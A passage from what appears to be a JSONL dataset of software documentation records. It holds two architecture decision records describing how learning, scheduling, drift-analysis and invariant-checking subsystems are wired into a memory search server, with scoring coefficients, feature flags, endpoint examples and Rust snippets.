"f084205b3f6271b877942ee2d2bd1c11220cddc891a91a2e5090a4cd1dd9d32a"} +{"id": "85677f09-c387-4989-a0c5-86440a0420b2", "source": "adr", "text": "# ADR-076: AGI Capability Wiring Architecture\n\n**Status**: Implemented\n**Date**: 2026-03-03\n**Authors**: RuVector Team\n**Deciders**: ruv\n**Supersedes**: N/A\n**Related**: ADR-075 (RVF AGI Stack Brain Integration), ADR-068 (Domain Expansion Transfer Learning), ADR-074 (RuvLLM Neural Embeddings)\n\n## 1. Context\n\nThe mcp-brain-server at pi.ruv.io had four AGI subsystem crates available in the workspace but minimally integrated:\n\n- **SONA** (`sona`): 3-tier hierarchical learning engine with pattern detection and trajectory tracking\n- **Global Workspace Theory** (`ruvector-nervous-system`): Salience-based attention competition inspired by cognitive GWT\n- **Temporal Delta Tracking** (`ruvector-delta-core`): Time-series delta streams for tracking embedding evolution\n- **Meta-Learning Exploration** (`ruvector-domain-expansion`): Thompson Sampling meta-learning with curiosity, regret, and plateau detection\n\nEach crate had comprehensive unit tests but no integration with the live brain server. The `DomainExpansionEngine` was in `AppState` but only touched by the transfer endpoint. The other three subsystems were not in AppState at all.\n\n## 2. Decision\n\nWire all four AGI subsystems into the brain server's core handlers (`share_memory`, `search_memories`, `vote_memory`, `status`) with independent feature flags for gradual rollout. Each subsystem adds a distinct cognitive capability without disrupting existing search/ranking behavior.\n\n### 2.1 Architecture Principle: Additive Scoring Layers\n\nEach AGI subsystem contributes a small additive score adjustment to the existing hybrid ranking pipeline:\n\n```\nBase score: keyword_boost + cosine_similarity + graph_ppr + reputation + vote_quality\n + SONA pattern boost: cosine(mem, pattern) * quality * 0.15\n + GWT attention boost: +0.1 for workspace competition winners\n + Meta curiosity boost: novelty_score * 0.05\n```\n\nThe small coefficients (0.05-0.15) ensure no single subsystem can dominate ranking, while still providing measurable signal from each capability.\n\n### 2.2 Architecture Principle: Read-Lock Scoring, Write-Lock Learning\n\nAll scoring operations (search) use read locks on AGI state. Learning operations (share, vote) use write locks. This minimizes contention:\n\n| Operation | SONA | GWT | DeltaStream | MetaLearning |\n|-----------|------|-----|-------------|--------------|\n| search (score) | read | write (compete) | - | read |\n| share (learn) | - | - | write | write |\n| vote (learn) | - | - | write | write |\n| status (report) | read | read | read | read |\n\nGWT is the exception: `compete()` mutates workspace state during search. This is intentional \u2014 attention competition is inherently stateful.\n\n### 2.3 Architecture Principle: Feature-Gated with Defaults On\n\nAll four subsystems default to enabled. This is safe because:\n\n1. Score contributions are small (0.05-0.15) and additive\n2. Each subsystem starts with no learned state (cold start = no effect)\n3. Feature flags allow instant disable without redeployment via env vars\n4. Subsystems learn passively from existing traffic \u2014 no active exploration that could degrade quality\n\n### 2.4 Handler Integration Map\n\n```\nshare_memory() flow:\n 1. [existing] PII strip, embed, witness chain, RVF container\n 2. [Phase 8] Push VectorDelta to DeltaStream (temporal)\n 3. [Phase 8] Record \"contribute\" decision in MetaLearningEngine\n 4. [existing] Add to graph, store in Firestore\n\nsearch_memories() flow:\n 1. [existing] Embed query, fetch candidates, keyword+cosine scoring\n 2. [existing] RankingEngine attention adjustments\n 3. [Phase 8] GWT salience competition (broadcast \u2192 compete \u2192 boost winners)\n 4. [Phase 8] SONA pattern re-ranking (centroid similarity \u00d7 quality)\n 5. [Phase 8] Meta-learning curiosity bonus (novelty_score \u00d7 0.05)\n 6. [existing] Truncate to limit\n 7. [Phase 8] SONA trajectory recording (search\u2192result for online learning)\n\nvote_memory() flow:\n 1. [existing] Quality update, reputation, poisoning check\n 2. [Phase 8] Push vote delta to DeltaStream (temporal)\n 3. [Phase 8] Feed vote as reward signal to MetaLearningEngine\n 4. [existing] Record contribution\n```\n\n## 3. New Endpoints\n\n### GET /v1/sona/stats\n\nReturns SONA learning engine statistics:\n```json\n{\n \"patterns_stored\": 12,\n \"trajectories_buffered\": 45,\n \"background_ticks\": 3\n}\n```\n\n### GET /v1/temporal\n\nReturns temporal delta tracking statistics:\n```json\n{\n \"total_deltas\": 237,\n \"recent_hour_deltas\": 14,\n \"knowledge_velocity\": 14.0,\n \"trend\": \"growing\"\n}\n```\n\n### GET /v1/explore\n\nReturns meta-learning exploration diagnostics:\n```json\n{\n \"most_curious_category\": \"security\",\n \"most_curious_novelty\": 0.92,\n \"regret_summary\": {\n \"total_regret\": 0.0,\n \"average_regret\": 0.0,\n \"mean_growth_rate\": 1.0,\n \"converged_buckets\": 0,\n \"bucket_count\": 0,\n \"total_observations\": 0\n },\n \"plateau_status\": \"learning\",\n \"is_learning\": false,\n \"is_diverse\": false,\n \"is_exploring\": false,\n \"curiosity_total_visits\": 0,\n \"pareto_size\": 0\n}\n```\n\n## 4. AppState Additions\n\n| Field | Type | Subsystem |\n|-------|------|-----------|\n| `sona` | `Arc<RwLock<SonaEngine>>` | SONA 3-tier learning |\n| `workspace` | `Arc<RwLock<GlobalWorkspace>>` | GWT attention |\n| `delta_stream` | `Arc<RwLock<DeltaStream<VectorDelta>>>` | Temporal tracking |\n| `domain_engine` | `Arc<RwLock<DomainExpansionEngine>>` | Meta-learning (pre-existing) |\n\n## 5. Consequences\n\n### Positive\n\n- Brain server now has four distinct AGI learning capabilities operating in production\n- Search ranking benefits from multi-signal fusion: patterns, attention, curiosity, keywords\n- Knowledge evolution is tracked over time, enabling trend detection and velocity monitoring\n- Meta-learning provides self-diagnostic capabilities (regret, plateau, Pareto optimization)\n- All capabilities are feature-gated for safe gradual rollout\n- Cold-start behavior is neutral (no learned state = no effect on ranking)\n\n### Negative\n\n- Four additional read/write locks in the search path increase contention potential\n- GWT workspace mutation during search is a sequential bottleneck\n- Each subsystem adds ~1-5ms to search latency (total ~5-15ms)\n- Memory footprint increases by ~2-8MB for AGI state (patterns, workspace, delta stream)\n\n### Risks\n\n- SONA pattern learning may create feedback loops (popular patterns get more popular)\n- GWT K-WTA competition with small candidate sets may not produce meaningful selection\n- Meta-learning curiosity bonus may be too small (0.05) to noticeably affect ranking\n- Temporal delta stream grows unbounded without periodic compaction \u2014 needs future cleanup\n\n## 6. Verification\n\n1. `cargo check` from `crates/mcp-brain-server/` compiles with zero errors\n2. All Phase 1-7 tests continue to pass\n3. `/v1/status` returns new fields: `sona_patterns`, `gwt_workspace_load`, `knowledge_velocity`, `meta_avg_regret`, `meta_plateau_status`\n4. `/v1/explore`, `/v1/temporal`, `/v1/sona/stats` return valid JSON\n5. Feature flags disable each subsystem independently without affecting others", "license": "mit", "quality_score": 1.0, "provenance": "docs/adr/ADR-076-agi-capability-wiring-architecture.md", "created_at": "2026-03-28T11:58:49.706460+00:00", "content_hash": "3dab171c6dffc8657f1ce0aa6c67315a9ec69ab2c65d56729d64376f055d1b6a"} +{"id": "ab59c41b-66e7-48b3-8d8d-47b4b46d4939", "source": "adr", "text": "# ADR-077: Midstream Platform Integration into mcp-brain-server\n\n**Status**: Proposed\n**Date**: 2026-03-03\n**Authors**: RuVector Team\n**Deciders**: ruv\n**Supersedes**: N/A\n**Related**: ADR-076 (AGI Capability Wiring Architecture), ADR-075 (RVF AGI Stack Brain Integration), ADR-068 (Domain Expansion Transfer Learning)\n\n## 1. Context\n\nThe mcp-brain-server at pi.ruv.io is a production axum REST API on Cloud Run with 238+ shared memories, Phase 8 AGI subsystems (SONA, GWT, DeltaStream, DomainExpansionEngine), an RVF security stack, and a hybrid keyword+cosine+graph+reputation scoring pipeline. Current read latency is 60-80ms and write latency is 150ms at 40-concurrent p90=172ms.\n\nDespite this sophistication, several capability gaps remain:\n\n1. **No temporal pattern matching on embedding evolution**. The DeltaStream records embedding deltas over time, but there is no way to find memories whose embedding trajectories are *similar* to each other. Two knowledge nodes may evolve the same way (both drifting toward security topics, for instance) but the system cannot detect this.\n\n2. **No deadline-aware background task scheduling**. AGI subsystems (SONA tick, GWT decay, delta compaction) run ad-hoc inside request handlers or on status checks. There is no priority-based scheduler guaranteeing that critical maintenance (e.g., compaction before Firestore timeout) completes before less urgent work (e.g., pattern re-indexing).\n\n3. **No dynamical systems analysis of knowledge drift**. The DriftMonitor computes coefficient-of-variation but cannot classify whether the knowledge graph is converging to a stable attractor, oscillating in a limit cycle, or exhibiting chaotic drift. Lyapunov exponent analysis would provide this.\n\n4. **No formal invariant verification**. Memory operations have implicit invariants (witness chain integrity, embedding dimension consistency, quality score monotonicity under upvotes) that are checked procedurally. Linear Temporal Logic (LTL) verification would provide formal guarantees.\n\n5. **No recursive meta-cognition with safety bounds**. The DomainExpansionEngine does Thompson Sampling meta-learning but cannot recursively reason about its own learning strategy. Self-modification (changing exploration parameters based on accumulated regret) is manually tuned.\n\n6. **No high-performance brain-to-brain transport**. Federation currently uses HTTP/1.1 REST via reqwest. A future multi-brain mesh needs multiplexed, 0-RTT transport for real-time knowledge synchronization.\n\nThe [midstream platform](https://github.com/ruvnet/midstream) provides six crates that address each gap precisely.\n\n## 2. Decision\n\nIntegrate all six midstream crates into mcp-brain-server in a phased rollout, each behind an independent feature flag (env var). Every crate maps to a specific gap identified in Section 1 and wires into existing handlers without disrupting the current scoring pipeline.\n\n### 2.1 Crate-to-Gap Mapping\n\n| Crate | Gap Addressed | Integration Target |\n|-------|--------------|-------------------|\n| `temporal-compare` | Embedding evolution similarity | `search_memories()` DTW-based trajectory matching |\n| `nanosecond-scheduler` | Background task scheduling | SONA tick, GWT decay, delta compaction, LTL checks |\n| `temporal-attractor-studio` | Dynamical systems drift analysis | Knowledge drift classification (chaotic vs stable) |\n| `temporal-neural-solver` | Formal invariant verification | LTL properties on memory operations |\n| `strange-loop` | Recursive meta-cognition | Self-modifying meta-learning atop DomainExpansionEngine |\n| `quic-multistream` | Brain-to-brain federation | Future multi-brain mesh transport |\n\n### 2.2 Architecture Principle: Layered Composition\n\nMidstream crates compose *on top of* existing AGI subsystems rather than replacing them:\n\n```\nLayer 4 (Midstream Meta): strange-loop (recursive self-improvement)\nLayer 3 (Midstream Analysis): temporal-attractor-studio + temporal-neural-solver\nLayer 2 (Midstream Infra): nanosecond-scheduler + temporal-compare\nLayer 1 (Phase 8 AGI): SONA + GWT + DeltaStream + DomainExpansionEngine\nLayer 0 (Core): Firestore + KnowledgeGraph + RVF + Embeddings\n```\n\nNo midstream crate touches Layer 0 directly. All access goes through Layer 1 state via `AppState`.\n\n### 2.3 Architecture Principle: Additive Scoring with Bounded Coefficients\n\nFollowing ADR-076's precedent, midstream scoring signals are small and additive:\n\n```\nExisting scoring pipeline (unchanged):\n keyword_boost + cosine_sim + graph_ppr + reputation + vote_quality\n + SONA pattern boost (0.15)\n + GWT attention boost (0.1)\n + Meta curiosity boost (0.05)\n\nNew midstream additions:\n + temporal_compare DTW similarity boost: dtw_score * 0.08\n + attractor stability boost: stability_bonus * 0.03\n + strange_loop confidence boost: confidence * 0.02\n```\n\nTotal midstream contribution is bounded to 0.13, well below the existing AGI layer total of 0.30. This ensures midstream can never dominate ranking.\n\n### 2.4 Architecture Principle: Scheduler-Mediated Background Work\n\nAll periodic background tasks (previously scattered across handlers) consolidate under `nanosecond-scheduler`:\n\n| Task | Priority | Deadline | Current Location | New Location |\n|------|----------|----------|-----------------|-------------|\n| SONA tick | Medium(50) | 50ms | `status()` handler | Scheduler (10s interval) |\n| GWT decay/compete | Medium(50) | 20ms | `search_memories()` | Scheduler (5s interval) |\n| DeltaStream compaction | Low(25) | 200ms | Never (unbounded growth) | Scheduler (60s interval) |\n| LTL invariant checks | Low(25) | 100ms | Never | Scheduler (30s interval) |\n| Attractor analysis | Background(10) | 500ms | Never | Scheduler (120s interval) |\n| Strange-loop reflection | Background(10) | 1000ms | Never | Scheduler (300s interval) |\n\nThis removes AGI maintenance work from the request hot path, directly reducing read latency.\n\n## 3. Handler Integration Map\n\n### 3.1 share_memory() Flow (Write Path)\n\n```\nshare_memory() flow:\n 1. [existing] PII strip, embed, witness chain, RVF container\n 2. [existing] Push VectorDelta to DeltaStream\n 3. [existing] Record \"contribute\" decision in MetaLearningEngine\n 4. [NEW: Phase 9a] Append embedding to TemporalComparator trajectory buffer\n 5. [NEW: Phase 9c] Push PhasePoint to AttractorAnalyzer (category-scoped)\n 6. [NEW: Phase 9d] Add state to TemporalNeuralSolver (witness_valid, dim_correct)\n 7. [existing] Add to graph, store in Firestore\n```\n\nSteps 4-6 are non-blocking appends to in-memory buffers. No additional latency on the write path.\n\n### 3.2 search_memories() Flow (Read Path)\n\n```\nsearch_memories() flow:\n 1. [existing] Embed query, fetch candidates, keyword+cosine scoring\n 2. [existing] RankingEngine attention adjustments\n 3. [existing] GWT salience competition\n 4. [existing] SONA pattern re-ranking\n 5. [existing] Meta-learning curiosity bonus\n 6. [NEW: Phase 9a] Temporal trajectory similarity boost (DTW)\n 7. [NEW: Phase 9c] Attractor stability boost\n 8. [NEW: Phase 9e] Strange-loop confidence boost\n 9. [existing] Final sort, truncate to limit\n 10. [existing] SONA trajectory recording\n```\n\nSteps 6-8 use read locks only and add bounded scoring signals.\n\n### 3.3 vote_memory() Flow\n\n```\nvote_memory() flow:\n 1. [existing] Quality update, reputation, poisoning check\n 2. [existing] Push vote delta to DeltaStream\n 3. [existing] Feed vote as reward to MetaLearningEngine\n 4. [NEW: Phase 9e] Feed vote as reward signal to StrangeLoop (meta-level feedback)\n 5. [NEW: Phase 9d] Record vote_quality_increased proposition in LTL solver\n```\n\nSteps 4-5 are fire-and-forget writes to in-memory state.\n\n### 3.4 status() Flow\n\n```\nstatus() flow:\n 1. [existing] Graph stats, quality, drift, DP, SONA, GWT, temporal, meta stats\n 2. [NEW: Phase 9b] Scheduler stats (tasks completed, missed deadlines, avg latency)\n 3. [NEW: Phase 9c] Attractor classification (point/limit_cycle/strange) per category\n 4. [NEW: Phase 9d] LTL invariant health (properties verified, violations detected)\n 5. [NEW: Phase 9e] Strange-loop meta-knowledge summary (depth, confidence)\n 6. [NEW: Phase 9f] Federation transport stats (if quic-multistream active)\n```\n\n## 4. AppState Additions\n\n| Field | Type | Crate | Description |\n|-------|------|-------|-------------|\n| `temporal_comparator` | `Arc<RwLock<temporal_compare::TemporalComparator<f32>>>` | temporal-compare | DTW/LCS/EditDistance on embedding sequences |\n| `scheduler` | `Arc<RwLock<nanosecond_scheduler::RealtimeScheduler<SchedulerPayload>>>` | nanosecond-scheduler | Priority-based background task executor |\n| `attractor_analyzers` | `Arc<RwLock<HashMap<String, temporal_attractor_studio::AttractorAnalyzer>>>` | temporal-attractor-studio | Per-category dynamical systems analysis |\n| `ltl_solver` | `Arc<RwLock<temporal_neural_solver::TemporalNeuralSolver>>` | temporal-neural-solver | LTL property verification engine |\n| `strange_loop` | `Arc<RwLock<strange_loop::StrangeLoop>>` | strange-loop | Meta-cognitive recursive learning |\n| `quic_stats` | `Arc<RwLock<Option<QuicFederationStats>>>` | quic-multistream | Federation transport statistics (Phase 9f only) |\n\n### 4.1 Scheduler Payload Type\n\n```rust\n/// Payload for scheduled background tasks.\n#[derive(Debug, Clone)]\npub enum SchedulerPayload {\n SonaTick,\n GwtDecay,\n DeltaCompact { max_entries: usize },\n LtlCheck,\n AttractorAnalyze { category: String },\n StrangeLoopReflect,\n}\n```\n\n### 4.2 QuicFederationStats Type\n\n```rust\n/// Statistics from quic-multistream federation transport.\n#[derive(Debug, Clone, Default, Serialize)]\npub struct QuicFederationStats {\n pub active_peers: usize,\n pub active_streams: usize,\n pub bytes_sent: u64,\n pub bytes_received: u64,\n pub avg_rtt_ms: f64,\n}\n```\n\n## 5. New Endpoints\n\n### GET /v1/temporal/trajectories\n\nReturns temporal trajectory similarity analysis for a given memory.\n\n**Query Parameters**:\n- `memory_id` (required): UUID of the memory to find similar trajectories for\n- `algorithm` (optional): `dtw` | `lcs` | `edit_distance` (default: `dtw`)\n- `threshold` (optional): minimum similarity (default: 0.7)\n- `limit` (optional): max results (default: 5)\n\n**Response**:\n```json\n{\n \"query_memory_id\": \"550e8400-e29b-41d4-a716-446655440000\",\n \"algorithm\": \"dtw\",\n \"similar_trajectories\": [\n {\n \"memory_id\": \"660e8400-e29b-41d4-a716-446655440001\",\n \"distance\": 0.12,\n \"similarity\": 0.88,\n \"alignment_length\": 15\n }\n ],\n \"recurring_patterns\": [\n {\n \"pattern_length\": 8,\n \"occurrences\": 3,\n \"confidence\": 0.92\n }\n ]\n}\n```\n\n### GET /v1/scheduler/stats\n\nReturns background task scheduler statistics.\n\n**Response**:\n```json\n{\n \"total_scheduled\": 1247,\n \"total_completed\": 1240,\n \"missed_deadlines\": 2,\n \"avg_latency_ns\": 45000,\n \"tasks_by_priority\": {\n \"critical\": 0,\n \"high\": 12,\n \"medium\": 820,\n \"low\": 408,\n \"background\": 7\n },\n \"next_deadline_ms\": 4200\n}\n```\n\n### GET /v1/attractor\n\nReturns dynamical systems analysis of knowledge drift per category.\n\n**Query Parameters**:\n- `category` (optional): specific category to analyze (default: all)\n\n**Response**:\n```json\n{\n \"categories\": {\n \"architecture\": {\n \"attractor_type\": \"point_attractor\",\n \"lyapunov_exponents\": [-0.32, -0.18, -0.05],\n \"is_stable\": true,\n \"is_chaotic\": false,\n \"confidence\": 0.94,\n \"trajectory_length\": 45,\n \"mean_velocity\": 0.023\n },\n \"security\": {\n \"attractor_type\": \"strange_attractor\",\n \"lyapunov_exponents\": [0.12, -0.04, -0.21],\n \"is_stable\": false,\n \"is_chaotic\": true,\n \"confidence\": 0.78,\n \"trajectory_length\": 32,\n \"mean_velocity\": 0.089\n }\n },\n \"global_stability\": \"mixed\"\n}\n```\n\n### GET /v1/invariants\n\nReturns LTL invariant verification status.\n\n**Response**:\n```json\n{\n \"properties_defined\": 5,\n \"properties_verified\": 4,\n \"violations\": [\n {\n \"property\": \"globally(embedding_dim_128)\",\n \"satisfied\": false,\n \"confidence\": 0.99,\n \"counterexample\": \"memory abc123 has dim=64 at state 17\"\n }\n ],\n \"last_check_ms\": 12,\n \"total_states_checked\": 238\n}\n```\n\n### GET /v1/meta/strange-loop\n\nReturns strange-loop meta-cognitive status.\n\n**Response**:\n```json\n{\n \"meta_depth\": 2,\n \"knowledge_items\": 7,\n \"top_patterns\": [\n {\n \"level\": 1,\n \"pattern\": \"security_memories_converge_faster\",\n \"confidence\": 0.87,\n \"applications\": [\"adjust_curiosity_weight\", \"increase_security_exploration\"]\n }\n ],\n \"self_modifications_applied\": 3,\n \"safety_constraints_active\": 2,\n \"is_self_modification_enabled\": true\n}\n```\n\n### GET /v1/federation/stats\n\nReturns QUIC federation transport statistics (Phase 9f only).\n\n**Response**:\n```json\n{\n \"transport\": \"quic-h3\",\n \"active_peers\": 0,\n \"active_streams\": 0,\n \"bytes_sent\": 0,\n \"bytes_received\": 0,\n \"avg_rtt_ms\": 0.0,\n \"zero_rtt_supported\": true,\n \"status\": \"standby\"\n}\n```\n\n## 6. Feature Gating\n\nAll midstream subsystems are gated by environment variables, read once at startup via `RvfFeatureFlags::from_env()`. All default to disabled (opt-in) because midstream crates add new dependencies and should be validated incrementally.\n\n| Env Var | Default | Controls |\n|---------|---------|----------|\n| `MIDSTREAM_TEMPORAL_COMPARE` | `false` | DTW trajectory matching in search |\n| `MIDSTREAM_SCHEDULER` | `false` | Background task scheduler |\n| `MIDSTREAM_ATTRACTOR` | `false` | Dynamical systems drift analysis |\n| `MIDSTREAM_LTL` | `false` | LTL invariant verification |\n| `MIDSTREAM_STRANGE_LOOP` | `false` | Recursive meta-cognition |\n| `MIDSTREAM_QUIC` | `false` | QUIC federation transport |\n\n### 6.1 RvfFeatureFlags Additions\n\n```rust\n// Add to existing RvfFeatureFlags struct:\npub midstream_temporal_compare: bool,\npub midstream_scheduler: bool,\npub midstream_attractor: bool,\npub midstream_ltl: bool,\npub midstream_strange_loop: bool,\npub midstream_quic: bool,\n```\n\n```rust\n// Add to from_env():\nmidstream_temporal_compare: std::env::var(\"MIDSTREAM_TEMPORAL_COMPARE\")\n .map(|v| v == \"true\" || v == \"1\")\n .unwrap_or(false),\nmidstream_scheduler: std::env::var(\"MIDSTREAM_SCHEDULER\")\n .map(|v| v == \"true\" || v == \"1\")\n .unwrap_or(false),\nmidstream_attractor: std::env::var(\"MIDSTREAM_ATTRACTOR\")\n .map(|v| v == \"true\" || v == \"1\")\n .unwrap_or(false),\nmidstream_ltl: std::env::var(\"MIDSTREAM_LTL\")\n .map(|v| v == \"true\" || v == \"1\")\n .unwrap_or(false),\nmidstream_strange_loop: std::env::var(\"MIDSTREAM_STRANGE_LOOP\")\n .map(|v| v == \"true\" || v == \"1\")\n .unwrap_or(false),\nmidstream_quic: std::env::var(\"MIDSTREAM_QUIC\")\n .map(|v| v == \"true\" || v == \"1\")\n .unwrap_or(false),\n```\n\n### 6.2 Gradual Rollout Strategy\n\n1. Deploy with all flags `false` -- baseline performance unchanged\n2. Enable `MIDSTREAM_SCHEDULER=true` first (moves AGI maintenance off hot path)\n3. Enable `MIDSTREAM_TEMPORAL_COMPARE=true` (new search signal)\n4. Enable `MIDSTREAM_ATTRACTOR=true` (drift analysis)\n5. Enable `MIDSTREAM_LTL=true` (invariant checking)\n6. Enable `MIDSTREAM_STRANGE_LOOP=true` (meta-cognition)\n7. Enable `MIDSTREAM_QUIC=true` only when peer brains exist\n\n## 7. Scoring Pipeline Update\n\nThe full scoring pipeline after midstream integration, showing exact order and coefficients:\n\n```\nsearch_memories() scoring pipeline:\n\n1. Base hybrid score (existing, unchanged):\n IF keyword_match:\n score = 1.0 + keyword_boost * 0.85 + vec_sim * 0.05\n + graph_ppr * 0.04 + reputation * 0.03 + vote_boost * 0.03\n ELSE:\n score = vec_sim * 0.45 + graph_ppr * 0.25\n + reputation * 0.15 + vote_boost * 0.15\n\n2. RankingEngine adjustments (existing, unchanged):\n score = similarity_weight(0.85) * score\n + quality_weight(0.10) * quality_mean\n + recency_weight(0.05) * recency_factor\n\n3. GWT attention (existing, unchanged):\n score += 0.10 for workspace competition winners\n score += sparse_activation * 0.05 for K-WTA\n\n4. SONA pattern (existing, unchanged):\n score += avg(cosine(mem, pattern) * pattern_quality) * 0.15\n\n5. Meta-learning curiosity (existing, unchanged):\n score += novelty_score * 0.05\n\n6. [NEW] Temporal trajectory similarity (Phase 9a):\n IF MIDSTREAM_TEMPORAL_COMPARE enabled AND query has temporal context:\n dtw_score = temporal_comparator.find_similar(query_trajectory, threshold=0.7)\n score += dtw_score * 0.08 for memories with similar evolution paths\n\n7. [NEW] Attractor stability bonus (Phase 9c):\n IF MIDSTREAM_ATTRACTOR enabled:\n attractor = attractor_analyzers[memory.category].analyze()\n IF attractor.is_stable AND attractor.confidence > 0.8:\n score += 0.03 // prefer memories in stable knowledge regions\n\n8. [NEW] Strange-loop confidence bonus (Phase 9e):\n IF MIDSTREAM_STRANGE_LOOP enabled:\n meta_knowledge = strange_loop.learn_at_level(0, query_context)\n IF any meta_knowledge has confidence > 0.9:\n score += meta_knowledge.confidence * 0.02\n\n9. Final sort (single unstable_sort_by descending score)\n10. Truncate to limit\n```\n\n### 7.1 Coefficient Budget\n\n| Layer | Max Contribution | Source |\n|-------|-----------------|--------|\n| Keyword boost | 3.0 | ADR-076 (unchanged) |\n| Vector similarity | 0.45 | Core scoring |\n| Graph PPR | 0.25 | Core scoring |\n| Reputation + votes | 0.30 | Core scoring |\n| RankingEngine | ~1.0 | Quality/recency blend |\n| GWT attention | 0.15 | ADR-076 |\n| SONA patterns | 0.15 | ADR-076 |\n| Meta curiosity | 0.05 | ADR-076 |\n| **Temporal compare** | **0.08** | **Phase 9a (new)** |\n| **Attractor stability** | **0.03** | **Phase 9c (new)** |\n| **Strange-loop** | **0.02** | **Phase 9e (new)** |\n| **Midstream total** | **0.13** | **Sum of new layers** |\n\n## 8. Implementation Phases\n\n### Phase 9a: temporal-compare Integration (Week 1)\n\n**Dependency**: None (standalone crate)\n\n**Wiring**:\n\n1. Add `temporal_comparator: Arc<RwLock<TemporalComparator<f32>>>` to AppState\n2. Initialize with `TemporalComparator::new(1000, 500)` (cache 1000 comparisons, max 500-step sequences)\n3. In `share_memory()`: after DeltaStream push, append embedding to per-memory trajectory buffer in comparator\n4. In `search_memories()`: after SONA re-ranking, use `find_similar_generic()` to boost memories with similar embedding evolution trajectories (DTW distance < 0.3 threshold)\n5. Add `GET /v1/temporal/trajectories` endpoint\n6. Gate all with `MIDSTREAM_TEMPORAL_COMPARE` env var\n\n**Data flow**:\n```\nshare_memory() -> embedding -> temporal_comparator.trajectory_buffer[memory_id].push(embedding)\nsearch_memories() -> query_trajectory -> find_similar_generic(candidates, query, 0.7) -> score += dtw * 0.08\n```\n\n**Latency budget**: +3ms read path (DTW on cached trajectories), +0ms write path (buffer append)\n\n### Phase 9b: nanosecond-scheduler Integration (Week 1-2)\n\n**Dependency**: None (standalone), but should be enabled before other phases to manage their background tasks\n\n**Wiring**:\n\n1. Add `scheduler: Arc<RwLock<RealtimeScheduler<SchedulerPayload>>>` to AppState\n2. Initialize with EDF (Earliest Deadline First) policy\n3. Spawn a `tokio::spawn` loop that calls `scheduler.next_task()` and dispatches:\n - `SonaTick` -> `state.sona.read().tick()`\n - `GwtDecay` -> `state.workspace.write().compete()`\n - `DeltaCompact` -> `state.delta_stream.write().compact(max_entries)`\n - `LtlCheck` -> `state.ltl_solver.write().verify(invariants)`\n - `AttractorAnalyze` -> `state.attractor_analyzers.write()[cat].analyze()`\n - `StrangeLoopReflect` -> `state.strange_loop.write().learn_at_level(0, data)`\n4. Remove SONA tick from `status()` handler (moved to scheduler)\n5. Add `GET /v1/scheduler/stats` endpoint\n6. Gate with `MIDSTREAM_SCHEDULER` env var\n\n**Scheduler task registration at startup**:\n```rust\n// Register recurring tasks with appropriate priorities and intervals\nlet mut sched = scheduler.write();\nsched.schedule(SchedulerPayload::SonaTick, deadline_10s, Priority::Medium(50));\nsched.schedule(SchedulerPayload::GwtDecay, deadline_5s, Priority::Medium(50));\nsched.schedule(SchedulerPayload::DeltaCompact { max_entries: 10_000 },\n deadline_60s, Priority::Low(25));\n```\n\n**Latency budget**: -5ms read path (SONA tick removed from status), +0ms (scheduler runs in background task)\n\n### Phase 9c: temporal-attractor-studio Integration (Week 2)\n\n**Dependency**: Phase 9b (scheduler runs attractor analysis in background)\n\n**Wiring**:\n\n1. Add `attractor_analyzers: Arc<RwLock<HashMap<String, AttractorAnalyzer>>>` to AppState\n2. Initialize one `AttractorAnalyzer::new(128, 1000)` per known category (embedding_dim=128, max_trajectory=1000)\n3. In `share_memory()`: after DeltaStream push, call `analyzer.add_point(PhasePoint { coordinates: embedding, timestamp })` for the memory's category\n4. Background (via scheduler): every 120s, call `analyzer.analyze()` for each category to get `AttractorInfo`\n5. In `search_memories()`: if `attractor.is_stable && confidence > 0.8`, add `+0.03` stability bonus to memories in that category\n6. In `status()`: report `attractor_type` and `is_chaotic` per category\n7. Add `GET /v1/attractor` endpoint\n8. Gate with `MIDSTREAM_ATTRACTOR` env var\n\n**Attractor classification interpretation**:\n- `PointAttractor` (all Lyapunov exponents < 0): knowledge is converging -- stable domain, prefer these memories\n- `LimitCycle` (one exponent = 0, rest < 0): knowledge oscillates -- possibly seasonal patterns\n- `StrangeAttractor` (at least one exponent > 0): chaotic evolution -- flag for human review, reduce score weight\n\n**Latency budget**: +1ms read path (HashMap lookup + cached AttractorInfo read), +0ms write path (point append)\n\n### Phase 9d: temporal-neural-solver Integration (Week 3)\n\n**Dependency**: Phase 9b (scheduler runs LTL checks in background)\n\n**Wiring**:\n\n1. Add `ltl_solver: Arc<RwLock<TemporalNeuralSolver>>` to AppState\n2. Initialize with `TemporalNeuralSolver::new(10_000, 100, Strictness::Medium)` (max 10K trace, 100ms timeout)\n3. Define invariant properties at startup:\n\n```rust\nuse temporal_neural_solver::formula::*;\n\n// Property 1: Embedding dimension is always 128\nlet dim_128 = globally(atom(\"embedding_dim_128\"));\n\n// Property 2: Quality score never decreases after upvote\nlet quality_monotone = globally(\n implies(atom(\"upvote_applied\"), finally(atom(\"quality_increased\")))\n);\n\n// Property 3: Witness chain is always present when RVF enabled\nlet witness_present = globally(\n implies(atom(\"rvf_enabled\"), atom(\"witness_chain_present\"))\n);\n\n// Property 4: PII stripping happens before embedding\nlet pii_before_embed = globally(\n implies(atom(\"has_pii\"), until(atom(\"pii_stripped\"), atom(\"embedded\")))\n);\n\n// Property 5: No memory exists in both graph and negative cache\nlet no_blacklisted_in_graph = globally(\n not(and(atom(\"in_graph\"), atom(\"in_negative_cache\")))\n);\n```\n\n4. In `share_memory()`: push `TemporalState` with propositions `{embedding_dim_128: dim==128, witness_chain_present: chain.is_some(), ...}`\n5. In `vote_memory()`: push `TemporalState` with `{upvote_applied: true, quality_increased: new > old}`\n6. Background (via scheduler): every 30s, verify all properties and log violations\n7. Add `GET /v1/invariants` endpoint\n8. Gate with `MIDSTREAM_LTL` env var\n\n**On violation**: log at WARN level, increment violation counter, but do not block operations. LTL verification is observational, not enforcement.\n\n**Latency budget**: +0ms read path (verification runs in background only), +0.5ms write path (state push)\n\n### Phase 9e: strange-loop Integration (Week 3-4)\n\n**Dependency**: Phase 9b (scheduler), Phase 9c (attractor data feeds meta-learning), DomainExpansionEngine (existing)\n\n**Wiring**:\n\n1. Add `strange_loop: Arc<RwLock<StrangeLoop>>` to AppState\n2. Initialize with:\n\n```rust\nlet config = StrangeLoopConfig {\n max_meta_depth: 3, // Max 3 levels of recursive reflection\n enable_self_modification: true,\n safety_check: true,\n};\nlet mut sl = StrangeLoop::new(config);\n\n// Safety constraints\nsl.add_safety_constraint(always_safe()); // Never produce unsafe state\nsl.add_safety_constraint(eventually_terminates()); // Always halt\n// Custom: curiosity weight must stay in [0.01, 0.20]\nsl.add_safety_constraint(custom_constraint(\n \"curiosity_bounds\",\n |state| state.curiosity_weight >= 0.01 && state.curiosity_weight <= 0.20\n));\n// Custom: meta-depth must not exceed config 